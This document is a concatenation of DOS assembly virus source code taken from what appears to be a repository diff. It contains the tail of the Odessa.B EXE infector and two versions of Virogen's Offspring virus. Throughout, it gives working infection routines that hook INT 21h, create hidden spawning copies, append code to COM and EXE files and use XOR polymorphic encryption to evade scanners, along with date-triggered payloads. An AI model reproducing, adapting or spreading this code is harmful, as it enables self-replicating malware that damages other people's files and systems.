Begin_Virus:
Check_Payload proc
mov ah,2ah ;system date
int 21h
cmp dl,13 ;is it the 31st if the month?
je sec ;yes? test seconds!
cmp dl,6 ;13th ?
je sec ;yes seconds!
jmp CP_Exit ;no? restore.
sec:
mov ah,2Ch ;check time
int 21h
cmp dh,30d ;seconds less then 30?
jnb CP_Exit ;if yes->payload
call Payload
CP_Exit:
ret
Check_Payload endp
Payload proc
mov ah,0eh ;back to c:\
mov dl,02h
int 21h
mov cx,6 ;beep 6 times.
beep:
mov al,7
int 29h
loop beep
ret
Payload endp
Infect proc
mov ax,3d02h ;open file
lea dx,[bp+End_Virus+1eh]
int 21h
mov bx,ax ;file handleto bx
mov ah,3fh ;exe head into buffer
lea dx,[bp+header]
mov cx,1ah
int 21h
cmp word ptr cs:[bp+header],'MZ' ;check .exe signature
je its_exe
cmp word ptr cs:[bp+header],'ZM'
je its_exe
jmp close
its_exe:
cmp byte ptr cs:[bp+header+12h],'B' ;our infection check
jne not_infected
jmp close
not_infected:
mov ax, word ptr cs:[bp+header+18h] ;make sure its not a
;windbloze exe (pe,ne,le .ect)
cmp ax, 40h
jae close ; > or = means windbloze
mov ax,word ptr cs:[bp+header+0eh] ;save orginal info from header
mov word ptr cs:[bp+old_ss],ax ;stack segment
mov ax,word ptr cs:[bp+header+10h] ;stack pointer
mov word ptr cs:[bp+old_sp],ax
mov ax,word ptr cs:[bp+header+14h] ;instructional pointer
mov word ptr cs:[bp+old_ip],ax
mov ax,word ptr cs:[bp+header+16h] ;code segment
mov word ptr cs:[bp+old_cs],ax ;cs:ip =begining of excutable code
mov ax,4202h ;EOF
xor cx,cx
xor dx,dx
int 21h
push ax ;save file size
push dx
push ax
mov ax,word ptr cs:[bp+header+8] ;header size
shl ax,4 ;convert
mov cx,ax ;save header size in cx
pop ax ;restore ax
sub ax,cx ;subtract header from file size to get code and data size
sbb dx,0
mov cx,10h
div cx
mov word ptr cs:[bp+header+14h],dx ;IP create new header
mov word ptr cs:[bp+header+16h],ax ;CS
mov word ptr cs:[bp+header+0Eh],ax ;SS
mov word ptr cs:[bp+header+10h],0fffeh ;SP
mov word ptr cs:[bp+header+12h],'B' ;marker
pop dx ;restore filesize
pop ax ;dx to ax
add ax,End_Virus-start
adc dx,0
mov cx,512 ;divide new filesize by 512
div cx
cmp dx,0
je no_remainder
inc ax
no_remainder:
mov word ptr cs:[bp+header+4],ax ;save new filesize
mov word ptr cs:[bp+header+2],dx
lea si,[bp+Begin_Virus] ;crypt virus
lea di,[bp+Buffer]
mov cx,End_Virus - Begin_Virus
call encrypt
mov ah,40h ;write decryptor
mov cx,Begin_Virus - start
lea dx,[bp+start]
int 21h
mov ah,40h ;write encrypted portion
mov cx,End_Virus - Begin_Virus
lea dx,[bp+Buffer]
int 21h
mov ax,4200h ;SOF
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;write new header
lea dx,[bp+header]
mov cx,1ah
int 21h
close:
mov ah,3eh
int 21h
ret
Infect endp
ni24h proc ;
mov al,3 ;ignore error
iret ;critical error handler
ni24h endp
Search proc
mov ax,3524h ;critical error handler
int 21h
push bx ;saves orig
push es ;stuffs to restore later
mov ah,25h
lea dx,[bp+ni24h]
int 21h
push ds ;ES was changed by 3524h but you need it
pop es ;to be restored for the crypt procedure.
first:
mov ah,4eh ;find first
lea dx,[bp+filespec]
mov cx,7
findnext:
int 21h
jc findover ;no? get out!
call Infect ;yes and infect!
mov ah,4fh ;find next
jmp findnext
findover:
mov ah,3Bh ;change dirs
lea dx,[bp+dotdot] ;to root
int 21h ;now
jnc first ;find first file
get_cur_drive:
mov ah,19h ;what drive are we on?
int 21h
cmp al,00h ;if already floppy
je Search_Exit ;we can leave now.
mov ah,0eh ;select default drive
mov dl,00h ;this time the floppy drive
int 21h
jmp first ;exe on floppy?
Search_Exit:
pop ds
pop dx
mov ax,2524h
int 21h
ret
Search endp
Begin proc
mov ah,2fh ;get current dta
int 21h
push es ;save it
push bx
push cs ;restore es
pop es
mov ah,1ah ;set new dta to end of virus
lea dx,[bp+End_Virus]
int 21h
mov ah,0eh ;select default drive (main HDD)
mov dl,02h ;c:\
int 21h ;so our virus can move from
;a floppy to a new HDD without
;any help
lea si,[bp+old_ip]
lea di,[bp+original_ip]
mov cx,4
rep movsw
call Search
call Check_Payload
mov ah,0eh ;back to c:\
mov dl,02h
int 21h
restore: ;restore prev location DTA
pop dx
pop ds
mov ah,1ah ;reset dta
int 21h
pop ds
pop es
mov ax,es ;es points to PSP
add ax,10h
add word ptr cs:[bp+original_cs],ax
cli ;ints off!
add ax,word ptr cs:[bp+original_ss]
mov ss,ax
mov sp,word ptr cs:[bp+original_sp]
sti ;ints on!
Begin endp
db 0eah
original_ip dw ?
original_cs dw ?
original_ss dw ?
original_sp dw ?
old_ip dw offset Exit
old_cs dw 0000h
old_ss dw 0000h
old_sp dw 0fffeh
filespec db '*.exe',0
dotdot db '..',0
sig db 'Odessa.B (c) Opic [Codebreakers 1998]',0
header db 1ah DUP(?)
End_Virus db 42 dup(?)
Buffer equ this byte+80h
db 1024 dup(?)
Entry proc
mov bp,0000h
push ds
push es
push cs
pop ds
push cs
pop es
jmp Begin
Entry endp
Exit proc ;<- Begin procedure
mov ax,4c00H
int 21h
Exit endp ;<- End procedure
Exe_Infector Ends
End Entry

View File

@ -0,0 +1,439 @@
;-------------------------------------------------------------------------
; OSPRING.COM - Make sure you compile this to a COM file
; - Compatible with A86 v3.22
; OFFSPRING I - By VG Enterprises (Virogen)
;
; NOTICE : Don't hold me responsible for any damages, or the release
; of this virus. Use this at your own risk. NOT intended
; for any lamers to upload the Mcafee! Thank you for your
; loyal obendience.
;
; TYPE : SPAWNING RESIDENT
; VERSION : BETA 0.05
;
; FIXED/NEW IN VERSION 0.05
; - Mutation engine much smaller
; - Now change interrupt vectors directly
; - The XOR number is now generated randomly
; using the system clock as a base.
; - The FF/FN buffer has been moved outside
; of the virus code, so disk space is
; lowered.
;
; INFECTION METHOD : Everytime DOS changes directories, or changes
; drives... all files in the CURRENT directory
; (the one you're coming out of) will be infected.
; COM files will be hidden, and have the read-only
; attribute. When they are executed they will
; check if the virus is already in memory, and
; then execute the corresponding EXE file. See
; DOCS.
;
; This virus is NOT completed, so don't go off when you find a
; bug. There is one that I haven't determined the cause of yet,
; Do a 'DIR' of a directory other than the current, and see
; what happens. There's still some variables that can be
; moved outside of the code, but it won't make a hell of
; a difference in size.
;
;
;
;
title off_spring_1
.286
cseg segment
assume cs: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0FCh ; Yep, we're here
cr equ 0dh ; carraige return
lf equ 0ah ; line feed
f_name equ 1eh ; Offset of file name in FF/FN buffer
f_sizel equ 1ch ; File size - low
org 100h ; Leave room for PSP
; jump to the beginning of the main procedure
start:
jmp no_dec ; Skip decryption, changes to NOP
lea di,enc_data+2 ; Point to byte after encryption num
mov dx,[di-2] ; load encryption num
call encrypt ; Decrypt the virus
no_dec:
jmp main ; Jump to main routine
enc_data DW 0000 ; Encryption Data - num we XOR by
ID DB cr,lf,'(c)1993 VG Enterprises',cr,lf ; my copyright
VNAME Db cr,lf,'* Congratulations, You have recieved the privelge of being infected by the *'
Db cr,lf,'* Offspring I v0.05. *','$'
fname db '*.EXE',0 ; Filespec to search for
sl db '\' ; Backslash for directory name
file_dir db 64 dup(0) ; directory of file we infected
file_name db 13 dup(0) ; filename of file we infected
old_dta dd 0 ; old seg:off of DTA
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
par_blk dw 0 ; command line count byte -psp
par_cmd dw 0080h ; Point to the command line -psp
par_seg dw 0 ; seg
dw 05ch ; Use default FCB's in psp to save space
par1 dw 0 ;
dw 06ch ; FCB #2
par2 dw 0 ;
;--------------------------------------------------------------------
; This is our new INT 21H (dos) interrupt handler!
;
;
;---------------------------------------------------------------------
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ah, 3bh ;
je run_res ; Nope, jump
cmp ah,0eh
jne end_21
run_res:
push ax
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs
pop ds
mov ah,2fh
int 21h ; Get the DTA
mov ax,es
mov word ptr cs: old_dta,bx
mov word ptr cs: old_dta+2,ax
push cs
pop es
call resident
mov dx,word ptr cs: old_dta
mov ax,word ptr cs: old_dta+2
mov ds,ax
mov ah,1ah
int 21h ; Restore the DTA
pop ss
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
end_21 :
jmp [ dword ptr cs: old21_ofs] ; jump to original int 21h
iret
new21 endp ; End of handler
; ------------------------------------------------------------
; Main procedure
; -----------------------------------------------------------
main proc
mov word ptr [0100h],9090h ; NOP the jump past decryption
mov byte ptr [0102h],90h
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
mov ax,ds: 002ch ; Get environment address
mov par_blk,ax ; Save in parameter block for exec
mov par1,cs ; Save segments for EXEC
mov par2,cs
mov par_seg,cs
mov ah,2ah ; Get date
int 21h
cmp dl,14 ; 14th?
jne no_display
mov ah,09 ; Display message
lea dx,ID
int 21h
no_display:
call install ; check if installed, if not install
mov dx,offset file_dir -1 ; Execute the original EXE
mov bx,offset par_blk ; For some damned reason
mov ax,4b00h ; control is not returned back
int 21h ; to the virus.
push cs
pop ds
mov es,ds
mov ah,4ch ; Exit
int 21h
main endp
;---------------
; INSTALL - Install the virus
;---------------
Install Proc
mov ah,signal
int 21h
cmp ah,reply
je no_install
xor ax,ax
mov es,ax
mov ax,es: [21h*4+2]
mov bx,es: [21h*4]
mov ds: old21_seg,ax ; Store segment
mov ds: old21_ofs,bx ; Store offset
cli
mov es: [21h*4+2],cs ; Save seg
mov es: [21h*4],offset new21 ; off
sti
push cs
pop ds
mov es,ds
mov dx,(offset vend+50)
add dx,dx
; Calculate memory needed
mov cl,4 ; \ Divide by 16
shr dx,cl ; /
add dx,1 ;
mov ax,3100h ;
int 21H ; Terminate Stay Resident
ret
no_install:
ret
Install Endp
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
resident proc
mov ax,ds ; Calculate segment of MCB
dec ax ;
mov ds,ax ;
mov ds: [0001],word 0008h ; Mark DOS as the owner- so some
; utilities won't id the file the virus
; loaded from.
push cs
pop ds
mov word ptr vend,0 ; Clear ff/fn buffer
lea si, vend ;
lea di, vend+2 ;
mov cx,22 ;
cld ;
rep movsw ;
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, vend
int 21h
; Find first .EXE file
mov ah, 4eh
mov cx, 0 ; Set normal file attribute search
lea dx, fname
int 21h
jnc next_loop
jmp end_prog
next_loop :
mov file_dir,0
lea si,file_dir
lea di,file_dir+1
mov cx,77
cld
rep movsb
mov ah,47h
xor dl,dl
lea si,file_dir
int 21h
cmp word ptr vend[f_sizel],0
jne find_file
xor bx,bx
lm3 :
inc bx
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\'
inc bx
mov cx,13
lea si,vend[f_name]
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
mov bx,1eh
loop_me:
inc bx
cmp byte ptr vend[bx], '.'
jne loop_me
inc bx
mov word ptr vend [bx],'OC'
mov byte ptr vend [bx+2],'M'
call write_file ; Write virus to file
; Find next file
find_file :
mov ah,4fh
int 21h
jnc next_loop
end_prog:
exit :
ret
resident endp
;------------------------------------------------
; Write file procedure - Creates the file, writes the file, closes the file
;-----------------------------------------------
write_file proc
lea dx, vend[f_name]
mov ah, 3ch ; Create file
mov cx, 02h ; READ-ONLY
or cx, 01h ; Hidden
int 21h ; Call INT 21H
jc no_infect ; If Error-probably already infected
mov bx,ax
push dx
call copy_mem ; copy virus just outside of code
mov ah,2ch ;
int 21h ; Get random number from clock
lea di,vend+enc_data-204 ; offset of new copy of virus
mov [di-2],dx ; save encryption #
push bx
call encrypt ; writing it to a file
pop bx
mov cx, offset vend-100h ; # of bytes to write
lea dx, vend+50 ; Offset of buffer
mov ah, 40h ; -- our program in memory
int 21h ; Call INT 21H function 40h
pop dx
mov ah, 3eh
int 21h
no_infect:
ret ; Return
write_file endp
;------------------------------------------------
; Copies virus outside of code, to encrypt
;------------------------------------------------
copy_mem proc
mov si,0100h ; si=0
lea di,vend+50 ; destination
mov cx,offset vend-100h ; bytes to move
cld
rep movsb
ret
copy_mem endp
end_encrypt dw 0000h ; Let's encrypt everything up to here
;------------------------------------------------
; Encrypt
;
; Call with
; di=offset of encrypted/decrypted data
; dx=XOR value
;
; - First word to encrypt must be a free word.
; This word will be used as the encryption base. Every time the virus
; is encrypted a random number will be saved here.
;
;-----------------------------------------------
encrypt proc
mov cx,(offset end_encrypt - offset enc_data)/2
E2:
xor [di],dx ; Xor each word by dx
inc di
inc di ; increment index
loop E2 ; loop while cx != 0
ret
encrypt endp
vend dw 0
cseg ends
end start

View File

@ -0,0 +1,714 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or the release
; of this virus. Use at your own risk.
;
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.7
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; bytes between them are constantly changed. The
; call to the encryption routine changes, so the
; address can be anywhere in a field of NOPs.
; Not anything overly amazing, but it works.
;
;
TITLE OFFSPRING_1
.286
CSEG SEGMENT
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
SIGNAL EQU 7DH ; Installation check
REPLY EQU 0FCH ; reply to check
CR EQU 0DH ; carraige return
LF EQU 0AH ; line feed
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
F_SIZEL EQU 1CH ; File size - low
F_SIZEH EQU 1AH ; File size - high
F_DATE EQU 18H ; File date
F_TIME EQU 16H ; File time
MAX_INF EQU 05 ; Maximum files to infect per run
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
PARASTIC EQU 01 ; Parastic infection
SPAWN EQU 00 ; Spawning infection
ORG 100H ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
START:
DB 0BEH ; MOV SI,xxxx - Load delta offset
SET_SI: DW 0000H
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
; replicated copies.
M_SW1: NOP ; changs into a byte in op_set
XCHG_1 DB 0BFH
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
; Switches positions with XCHG_2
M_SW2: NOP ; changes into a byte in op_set
XCHG_2 DB 090H
ENC_NUM DW 9090H
M_SW3: NOP
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
ADD_DI: DW 9000H ; 00-NOP
CALL_ENC DB 0E8 ; Call encryption routine - address changes
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
NO_DEC:
JMP MAIN ; Jump to virus code
;-----------------------------------------------
; Data area
;-----------------------------------------------
ENC_DATA DW 0000 ; Start of encrypted data
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
VTYPE DB 00 ; Spawning or Parastic Infection?
INF_COUNT DB 0 ; How many files we have infected this run
COM_NAME DB 'COMMAND.COM' ; obvious
NEW_CODE DW 9090H ; ID bytes
NEW_JMP DB 0E9H,00,00 ; New Jump
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
ADD_MEM DB 0 ; restore mem size? Yes,No
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
FNAME1 DB '*.EXE',0 ; Filespec
FNAME2 DB '*.COM',0 ; Filespec
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
TIMES_INC DB 0 ; # of times encryption call incremented
SL DB '\' ; Backslash for directory name
FILE_DIR DB 64 DUP(0) ; directory of file we infected
FILE_NAME DB 13 DUP(0) ; filename of file we infected
OLD_DTA DD 0 ; old seg:off of DTA
OLD21_OFS DW 0 ; Offset of old INT 21H
OLD21_SEG DW 0 ; Seg of old INT 21h
NEW_SEG DW 0 ; New segment in high mem
PAR_BLK DW 0 ; command line count byte -psp
PAR_CMD DW 0080H ; Point to the command line -psp
PAR_SEG DW 0 ; seg
DW 05CH ; Use default FCB's in psp to save space
PAR1 DW 0 ;
DW 06CH ; FCB #2
PAR2 DW 0 ;
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
NEW21 PROC ; New INT 21H handler
CMP AH, SIGNAL ; signaling us?
JNE NO
MOV AH,REPLY ; yep, give our offspring what he wants
JMP END_21
NO:
CMP AH, 3BH ; set dir func?
JE RUN_RES
CMP AH,0EH ; set disk func?
JE RUN_RES
JMP END_21
RUN_RES:
PUSHF
PUSH AX ; Push regs
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
PUSH DS
PUSH ES
PUSH SP
PUSH SS
PUSH CS
POP DS
XOR AX,AX ; nullify ES
MOV ES,AX
CMP ADD_MEM,1 ; Restore system conventional mem size?
JE REL_MEM ;
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
JE SET_MEM ; total system memory.
JMP NO_MEM_FUNC
SET_MEM:
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
INC ADD_MEM ; make sure we know to add this back
JMP NO_MEM_FUNC
REL_MEM:
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
DEC ADD_MEM
NO_MEM_FUNC:
MOV AH,2FH
INT 21H ; Get the DTA
MOV AX,ES
MOV WORD PTR OLD_DTA,BX
MOV WORD PTR OLD_DTA+2,AX
PUSH CS
POP ES
CALL RESIDENT ; Call infection kernal
MOV DX,WORD PTR OLD_DTA
MOV AX,WORD PTR OLD_DTA+2
MOV DS,AX
MOV AH,1AH
INT 21H ; Restore the DTA
POP SS ; Pop regs
POP SP
POP ES
POP DS
POP BP
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
END_21 :
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
IRET
NEW21 ENDP ; End of handler
;------------------------------------------------------------
; Main
;-----------------------------------------------------------
MAIN PROC
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
MOV AX,DS: 002CH ; Get environment address
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
MOV [SI+OFFSET PAR2],CS
MOV [SI+OFFSET PAR_SEG],CS
MOV AH,2AH ; Get date
INT 21H
CMP DL,14 ; 14th?
JNE NO_DISPLAY
MOV AH,09 ; Display message
LEA DX,[SI+OFFSET ID]
INT 21H
NO_DISPLAY:
CALL INSTALL ; check if installed, if not install
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
JE SKIP_THIS
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
MOV CL,4 ; divide by 16
SHR BX,CL
INC BX
MOV AH,4AH
INT 21H ; Release un-needed memory
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
LEA BX,[SI+OFFSET PAR_BLK]
MOV AX,4B00H
INT 21H
MOV AH,4CH ; Exit
INT 21H
SKIP_THIS:
MOV CX,5 ; Restore original first
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
MOV DI,0100H
CLD
REP MOVSB
MOV AX,0100H ; Simulate CALL return to 0100h
PUSH AX
RET
MAIN ENDP
;---------------
; INSTALL - Install the virus
;--------------
INSTALL PROC
MOV AH,SIGNAL
INT 21H
CMP AH,REPLY
JE NO_INSTALL
MOV AX,CS
DEC AX
MOV DS,AX
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
;the chain?
JNE NO_INSTALL
MOV AX,DS: [3] ;Block size in MCB
SUB AX,190 ;Shrink Block Size-quick estimate
MOV DS: [3],AX
MOV BX,AX
MOV AX,ES
ADD AX,BX
MOV ES,AX ;Find high memory seg
PUSH SI
ADD SI,0100H
MOV CX,(OFFSET VEND - OFFSET START)
MOV AX,DS
INC AX
MOV DS,AX
MOV DI,100H ; New location in high memory
CLD
REP MOVSB ; Copy virus to high memory
POP SI
MOV DS: NEW_SEG,ES ;Save new segment
PUSH ES
POP DS
XOR AX,AX
MOV ES,AX ; null es
MOV AX,ES: [21H*4+2]
MOV BX,ES: [21H*4]
MOV DS: OLD21_SEG,AX ; Store segment
MOV DS: OLD21_OFS,BX ; Store offset
CLI
MOV ES: [21H*4+2],DS ; Save seg
LEA AX,[OFFSET NEW21]
MOV ES: [21H*4],AX ; off
STI
NO_INSTALL:
PUSH CS ; Restore regs
POP DS
MOV ES,DS
RET
INSTALL ENDP
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
RESIDENT PROC
MOV VTYPE,SPAWN
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
MOV BYTE PTR INF_COUNT,0 ; null infection count
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
FIND_FIRST:
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
LEA SI, VEND
LEA DI, VEND+2
MOV CX,22
CLD
REP MOVSW
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
MOV AH, 1AH
LEA DX, VEND
INT 21H
MOV AH, 4EH ; Findfirst
MOV CX, 0 ; Set normal file attribute search
MOV DX, FNAME_OFF
INT 21H
JNC NEXT_LOOP ; if still finding files then loop
JMP END_PROG
NEXT_LOOP :
CMP VTYPE, PARASTIC ; parastic infection?
JE START_INF ; yes, skip all this
MOV AH,47H
XOR DL,DL
LEA SI,FILE_DIR
INT 21H
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
JE OK_FIND ; for spawning infections
JMP FIND_FILE
OK_FIND:
XOR BX,BX
LM3 : ; find end of directory name
INC BX
CMP FILE_DIR[BX],0
JNE LM3
MOV FILE_DIR[BX],'\' ; append backslash to path
INC BX
MOV CX,13 ; append filename to path
LEA SI,VEND[F_NAME]
LEA DI,FILE_DIR[BX]
CLD
REP MOVSB
XOR BX,BX
MOV BX,1EH
LOOP_ME: ; search for filename ext.
INC BX
CMP BYTE PTR VEND[BX], '.'
JNE LOOP_ME
INC BX ; change it to COM
MOV WORD PTR VEND [BX],'OC'
MOV BYTE PTR VEND [BX+2],'M'
START_INF:
CMP VTYPE, PARASTIC ; parastic infection?
JE PARASTIC_INF ; yes.. so jump
;--------------------------------------
; Spawning infection
LEA DX, VEND[F_NAME]
MOV AH, 3CH ; Create file
MOV CX, 02H ; READ-ONLY
OR CX, 01H ; Hidden
INT 21H ; Call INT 21H
JNC CONTIN ; If Error-probably already infected
JMP NO_INFECT
CONTIN:
INC INF_COUNT
MOV BX,AX
JMP ENCRYPT_OPS
;----------------------------------------
; Parastic infection
PARASTIC_INF :
CMP VEND[F_SIZEh],400H
JGE CONT_INF2
JMP NO_INFECT
CONT_INF2:
LEA SI,VEND[F_NAME] ; Is Command.COM?
LEA DI,COM_NAME
MOV CX,11
CLD
REPE CMPSB
JNE CONT_INF0 ; Yes, don't infect
JMP NO_INFECT
CONT_INF0:
MOV AX,3D02H ; Open file for reading & writing
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
INT 21H
JNC CONT_INF1 ; error, skip infection
JMP NO_INFECT
CONT_INF1:
MOV BX,AX
MOV AH,3FH ; Read first five bytes of file
MOV CX,05
LEA DX,FIRST_FIVE
INT 21H
CMP WORD PTR FIRST_FIVE,9090H
JNE CONT_INF
MOV AH,3EH
INT 21H
JMP NO_INFECT
CONT_INF:
INC INF_COUNT
MOV AX,4202H ; Set pointer to end of file, so we
XOR CX,CX ; can find the file size
XOR DX,DX
INT 21H
;SUB AX,0100h ; Subtract PSP size
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
MOV BYTE PTR DI_INS,81H ; ADD DI op
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VEND[F_SIZEH]
SUB AX,5
MOV WORD PTR NEW_JMP+1,AX
MOV AH,40H
MOV CX,6
LEA DX,NEW_CODE
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENCRYPT_OPS:
;-----------------------------
; Change encryptions ops
PUSH BX
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
MOV BX,WORD PTR XCHG_2
MOV WORD PTR XCHG_1,BX
MOV WORD PTR XCHG_2,AX
MOV AH, BYTE PTR XCHG_1+2
MOV BH, BYTE PTR XCHG_2+2
MOV BYTE PTR XCHG_1+2,BH
MOV BYTE PTR XCHG_2+2,AH
XOR_DONE:
CHG_TWO:
XOR CX,CX ; CX=0
LEA DI,SW_BYTE1 ; DI->sw_byte1
CHG_REST:
INC ROT_NUM ; increment rotation number
MOV BX,ROT_NUM ; bx=rotation num
MOV AH,OP_SET[BX] ; ah = new op code from set
MOV BYTE PTR [DI],AH
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
JNE CHG_CNT ; no, chg_cnt
MOV WORD PTR ROT_NUM,0 ; reset rotation num
CHG_CNT:
INC CX ; increment count
CMP CX,1
LEA DI,M_SW1
JE CHG_REST
CMP CX,2
LEA DI,M_SW2
JE CHG_REST
CMP CX,3
LEA DI,M_SW3
JE CHG_REST
CMP CX,4
LEA DI,SW_BYTE1
JE CHG_REST
CHG_THREE:
XOR CX,CX
LEA DI,SW_BYTE3
CHG_FOUR:
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
MOV BX,1 ;
JE MOV_POS ; Yes, so change it to the second
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
MOV BX,2 ;
JE MOV_POS ; Yes, change it to the third
XOR BX,BX ; Else, must be in final position
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
MOV BYTE PTR [DI+2],90H ; to NOP
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
CMP BX,2
JNE NO_CHANGE
INC CX
CMP CX,2
LEA DI,SW_BYTE4
JNE CHG_FOUR
NO_CHANGE:
CMP BYTE PTR TIMES_INC,9
JE INC_NUM
INC WORD PTR B_WR
INC WORD PTR E_JMP
INC WORD PTR E_JMP
INC TIMES_INC
JMP D2
INC_NUM:
SUB WORD PTR B_WR,09
SUB WORD PTR E_JMP,18
MOV TIMES_INC,0
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
D2:
MOV AH,2CH ;
INT 21H ; Get random number from clock - millisecs
MOV WORD PTR XOR_OP+2,DX ; save encryption #
MOV SI,0100H
LEA DI,VEND+50 ; destination
MOV CX,OFFSET VEND-100H ; bytes to move
CLD
REP MOVSB ; copy virus outside of code
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
CMP BYTE PTR VTYPE, PARASTIC
JNE GO_ENC
;add di,si
GO_ENC:
CALL ENCRYPT ; encrypt new copy of virus
;----------------------------------------
; Write and close new infected file
POP BX
MOV CX, OFFSET VEND-100H ; # of bytes to write
LEA DX, VEND+50 ; Offset of buffer
MOV AH, 40H ; -- our program in memory
INT 21H ; Call INT 21H function 40h
CMP VTYPE, PARASTIC ; parastic?
JNE CLOSE ; no, don't need to restore date/time
MOV AX,5701H ; Restore data/time
MOV CX,VEND[F_TIME]
MOV DX,VEND[F_DATE]
INT 21H
CLOSE: MOV AH, 3EH
INT 21H
NO_INFECT:
; Find next file
FIND_FILE :
CMP INF_COUNT, MAX_INF
JE END_PROG
MOV AH,4FH
INT 21H
JC END_PROG
JMP NEXT_LOOP
END_PROG:
EXIT :
CMP INF_COUNT,0 ; Start parastic infection on next run
JNE FIND_DONE
CMP VTYPE, PARASTIC ; Parastic infection done?
JE FIND_DONE ; yes, we're finished
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
MOV VTYPE, PARASTIC ; virus type = parastic
JMP FIND_FIRST
FIND_DONE:
MOV VTYPE,SPAWN
MOV FNAME_OFF, OFFSET FNAME1
RET
RESIDENT ENDP
END_ENCRYPT: ; Let's encrypt everything up to here
OP_SET DB 90H ; NOP
DB 40H ; INC AX
DB 43H ; INC BX
DB 48H ; DEC AX
DB 4BH ; DEC BX
DB 0FBH ; STI
DB 0FCH ; CLD
DB 4AH ; DEC DX
DB 42H ; INC DX
DB 14 DUP(090H)
;------------------------------------------------
; Encrypt/Decrypt Routine
;-----------------------------------------------
ENCRYPT PROC
CX_M DB 0B9H ; MOV CX
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
E2:
SW_BYTE1: ; XOR [di],dx swaps positions with this
NOP
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
SW_BYTE3: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE4: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE2:
NOP ; This byte changes into a char in op_set
LOOP E2 ; loop while cx != 0
RET
ENCRYPT ENDP
